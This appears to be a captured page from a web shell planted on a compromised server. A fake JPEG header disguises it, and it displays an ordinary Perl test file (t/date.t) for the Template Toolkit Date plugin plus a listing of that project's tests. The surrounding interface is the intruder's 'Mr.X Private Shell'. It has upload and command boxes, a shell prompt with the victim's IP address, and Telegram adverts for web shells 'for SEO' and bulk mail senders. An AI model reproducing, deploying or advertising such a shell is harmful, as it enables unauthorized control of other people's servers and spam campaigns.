����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#============================================================= -*-perl-*-
#
# t/date.t
#
# Tests the 'Date' plugin.
#
# Written by Andy Wardley <abw@wardley.org>
#
# Copyright (C) 2000 Andy Wardley. All Rights Reserved.
#
# This is free software; you can redistribute it and/or modify it
# under the same terms as Perl itself.
#
# $Id$
#
#========================================================================

use strict;
use lib qw( ./lib ../lib );
use Template;
use Template::Test;
use Template::Plugin::Date;
use POSIX;
use Config;
$^W = 1;

eval "use Date::Calc";

my $got_date_calc = 0;
$got_date_calc++ unless $@;

$Template::Test::DEBUG = 0;

my $format = {
    'default' => $Template::Plugin::Date::FORMAT,
    'time'    => '%H:%M:%S',
    'date'    => '%d-%b-%Y',
    'timeday' => 'the time is %H:%M:%S on %A',
};

my $time = time;
my @ltime = localtime($time);

my $params = { 
    time    => $time,
    format  => $format,
    timestr => &POSIX::strftime($format->{ time }, @ltime),
    datestr => &POSIX::strftime($format->{ date }, @ltime),
    daystr  => &POSIX::strftime($format->{ timeday }, @ltime),
    defstr  => &POSIX::strftime($format->{ default }, @ltime),
    now     => sub { 
        &POSIX::strftime(shift || $format->{ default }, localtime(time));
    },
    time_locale => \&time_locale,
    date_locale => \&date_locale,    
    date_calc   => $got_date_calc,
};

sub time_locale { 
    my ($time, $format, $locale) = @_;
    my $old_locale = $Config{d_setlocale}
                   ? &POSIX::setlocale(&POSIX::LC_ALL)
                   : undef;
    
    # some systems expect locales to have a particular suffix
    for my $suffix ('', @Template::Plugin::Date::LOCALE_SUFFIX) {
        my $try_locale = $locale.$suffix;
	    my $setlocale = $Config{d_setlocale}
                          ? &POSIX::setlocale(&POSIX::LC_ALL, $try_locale)
                          : undef;
        if (defined $setlocale && $try_locale eq $setlocale) {
            $locale = $try_locale;
            last;
        }
    }
    my $datestr = &POSIX::strftime($format, localtime($time));
    &POSIX::setlocale(&POSIX::LC_ALL, $old_locale) if $Config{d_setlocale};
    return $datestr;
}

sub date_locale {
    my ($time, $format, $locale) = @_;
    my @date = (split(/(?:\/| |:|-)/, $time))[2,1,0,3..5];
    return (undef, Template::Exception->new('date',
                   "bad time/date string:  expects 'h:m:s d:m:y'  got: '$time'"))
        unless @date >= 6 && defined $date[5];
    $date[4] -= 1;     # correct month number 1-12 to range 0-11
    $date[5] -= 1900;  # convert absolute year to years since 1900
    $time = &POSIX::mktime(@date);
    return time_locale($time, $format, $locale);
}


# force second to rollover so that we reliably see any tests failing.
# lesson learnt from 2.07b where I broke the Date plugin's handling of a
# 'time' parameter, but which didn't immediately come to light because the
# script could run before the second rolled over and not expose the bug

sleep 1;

test_expect(\*DATA, { POST_CHOMP => 1 }, $params);
 

#------------------------------------------------------------------------
# test input
#
# NOTE: these tests check that the Date plugin is behaving as expected
# but don't attempt to validate that the output returned from strftime()
# is semantically correct.  It's a closed loop (aka "vicious circle" :-)
# in which we compare what date.format() returns to what we get by 
# calling strftime() directly.  Despite this, we can rest assured that
# the plugin is correctly parsing the various parameters and passing 
# them to strftime() as expected.
#------------------------------------------------------------------------

__DATA__
-- test --
[% USE date %]
Let's hope the year doesn't roll over in between calls to date.format()
and now()...
Year: [% date.format(format => '%Y') %]

-- expect --
-- process --
Let's hope the year doesn't roll over in between calls to date.format()
and now()...
Year: [% now('%Y') %]

-- test --
[% USE date(time => time) %]
default: [% date.format %]

-- expect --
-- process --
default: [% defstr %]

-- test --
[% USE date(time => time) %]
[% date.format(format => format.timeday) %]

-- expect --
-- process --
[% daystr %]

-- test --
[% USE date(time => time, format = format.date) %]
Date: [% date.format %]

-- expect --
-- process --
Date: [% datestr %]

-- test --
[% USE date(format = format.date) %]
Time: [% date.format(time, format.time) %]

-- expect --
-- process --
Time: [% timestr %]

-- test --
[% USE date(format = format.date) %]
Time: [% date.format(time, format = format.time) %]

-- expect --
-- process --
Time: [% timestr %]


-- test --
[% USE date(format = format.date) %]
Time: [% date.format(time = time, format = format.time) %]

-- expect --
-- process --
Time: [% timestr %]

-- test --
[% USE english = date(format => '%A', locale => 'en_GB') %]
[% USE french  = date(format => '%A', locale => 'fr_FR') %]
In English, today's day is: [% english.format +%]
In French, today's day is: [% french.format +%]

-- expect --
-- process --
In English, today's day is: [% time_locale(time, '%A', 'en_GB') +%]
In French, today's day is: [% time_locale(time, '%A', 'fr_FR') +%]

-- test --
[% USE english = date(format => '%A') %]
[% USE french  = date() %]
In English, today's day is: 
[%- english.format(locale => 'en_GB') +%]
In French, today's day is: 
[%- french.format(format => '%A', locale => 'fr_FR') +%]

-- expect --
-- process --
In English, today's day is: [% time_locale(time, '%A', 'en_GB') +%]
In French, today's day is: [% time_locale(time, '%A', 'fr_FR') +%]

-- test --
[% USE date %]
[% date.format('4:20:00 13-6-2000', '%H') %]
-- expect --
04

-- test --
[% USE date %]
[% date.format('2000-6-13 4:20:00', '%H') %]
-- expect --
04

-- test --
-- name September 13th 2000 --
[% USE day = date(format => '%A', locale => 'en_GB') %]
[% day.format('4:20:00 13-9-2000') %]

-- expect --
-- process --
[% date_locale('4:20:00 13-9-2000', '%A', 'en_GB') %]


-- test --
[% TRY %]
[% USE date %]
[% date.format('some stupid date') %]
[% CATCH date %]
Bad date: [% e.info %]
[% END %]
-- expect --
Bad date: bad time/date string:  expects 'h:m:s d:m:y'  got: 'some stupid date'

-- test --
[% USE date %]
[% template.name %] [% date.format(template.modtime, format='%Y') %]
-- expect --
-- process --
input text [% now('%Y') %]

-- test --
[% IF date_calc -%]
[% USE date; calc = date.calc; calc.Monday_of_Week(22, 2001).join('/') %]
[% ELSE -%]
not testing
[% END -%]
-- expect --
-- process --
[% IF date_calc -%]
2001/5/28
[% ELSE -%]
not testing
[% END -%]

-- test --
[% USE date;
   date.format('12:59:00 30/09/2001', '%H:%M')
-%]
-- expect --
12:59

-- test --
[% USE date;
   date.format('2001/09/30 12:59:00', '%H:%M')
-%]
-- expect --
12:59

-- test --
[% USE date;
   date.format('2001/09/30T12:59:00', '%H:%M')
-%]
-- expect --
12:59

Filemanager

Name Type Size Permission Actions
lib Folder 0755
test Folder 0755
vmethods Folder 0755
README File 3.1 KB 0644
anycase.t File 2.16 KB 0644
args.t File 2.41 KB 0644
assert.t File 2.53 KB 0644
base.t File 3.58 KB 0644
binop.t File 4.82 KB 0644
block.t File 2.71 KB 0644
block_duplicate.t File 476 B 0644
blocks.t File 2.2 KB 0644
capture.t File 1.59 KB 0644
case.t File 1.46 KB 0644
chomp.t File 7.71 KB 0644
compile1.t File 2.12 KB 0644
compile2.t File 2.67 KB 0644
compile3.t File 3.75 KB 0644
compile4.t File 2.38 KB 0644
compile5.t File 3.28 KB 0644
config.t File 6.46 KB 0644
constants.t File 5.07 KB 0644
context.t File 5.87 KB 0644
datafile.t File 1.81 KB 0644
date.t File 6.73 KB 0644
date_offset.t File 2.17 KB 0644
date_utf8.t File 1.33 KB 0644
debug.t File 3.86 KB 0644
directive.t File 4.76 KB 0644
directry.t File 5.48 KB 0644
document.t File 3.58 KB 0644
dumper.t File 1.47 KB 0644
error.t File 953 B 0644
evalperl.t File 3.73 KB 0644
exception.t File 1.52 KB 0644
factory.t File 1.4 KB 0644
file.t File 2.87 KB 0644
fileline.t File 3.16 KB 0644
filter.t File 17.74 KB 0644
foreach.t File 10.31 KB 0644
format.t File 1.78 KB 0644
html.t File 2.52 KB 0644
image.t File 2.22 KB 0644
include.t File 6.04 KB 0644
iterator.t File 3.67 KB 0644
leak.t File 5.01 KB 0644
list.t File 4.41 KB 0644
load_order_vmethods_stash.t File 192 B 0644
macro.t File 2.93 KB 0644
math.t File 1.22 KB 0644
math_rand.t File 476 B 0644
meta.t File 881 B 0644
mtime-zero.t File 1.04 KB 0644
object.t File 7.23 KB 0644
outline.t File 2.29 KB 0644
outline_line.t File 971 B 0644
output.t File 2.66 KB 0644
parser.t File 4.74 KB 0644
parser2.t File 981 B 0644
plugins.t File 6.12 KB 0644
plusfile.t File 1.91 KB 0644
pod.t File 2.05 KB 0644
prefix.t File 1.46 KB 0644
proc.t File 867 B 0644
process-relative.t File 2.05 KB 0644
process.t File 1.88 KB 0644
process_dir.t File 1.84 KB 0644
provider.t File 11.08 KB 0644
ref.t File 1.63 KB 0644
scalar.t File 2.56 KB 0644
service.t File 5.07 KB 0644
skel.t File 947 B 0644
stash-xs-unicode.t File 2.03 KB 0644
stash-xs.t File 8.42 KB 0644
stash.t File 7.91 KB 0644
stashc.t File 1.6 KB 0644
stop.t File 2.72 KB 0644
strcat.t File 758 B 0644
strict.t File 1.52 KB 0644
string.t File 7.38 KB 0644
switch.t File 3.83 KB 0644
table.t File 2.68 KB 0644
tags.t File 3.63 KB 0644
template.t File 1.49 KB 0644
text.t File 2.89 KB 0644
throw.t File 1.94 KB 0644
tiedhash.t File 5.28 KB 0644
trace_vars.t File 1.11 KB 0644
try.t File 9.83 KB 0644
unicode.t File 4.55 KB 0644
url.t File 4.06 KB 0644
vars.t File 11.36 KB 0644
varsv1.t File 8.96 KB 0644
view.t File 17.43 KB 0644
while.t File 3.18 KB 0644
wrap.t File 2.63 KB 0644
wrapper.t File 3.95 KB 0644
zz-plugin-cycle.t File 1.6 KB 0644
zz-plugin-leak-gh-213.t File 2.77 KB 0644
zz-plugin-leak-rt-46691.t File 2.95 KB 0644
zz-plugin-leak.t File 2.02 KB 0644
zz-pmv.t File 1.15 KB 0644
zz-pod-coverage.t File 1.64 KB 0644
zz-pod-kwalitee.t File 776 B 0644
zz-stash-xs-leak.t File 1.59 KB 0644
zz-url2.t File 3.71 KB 0644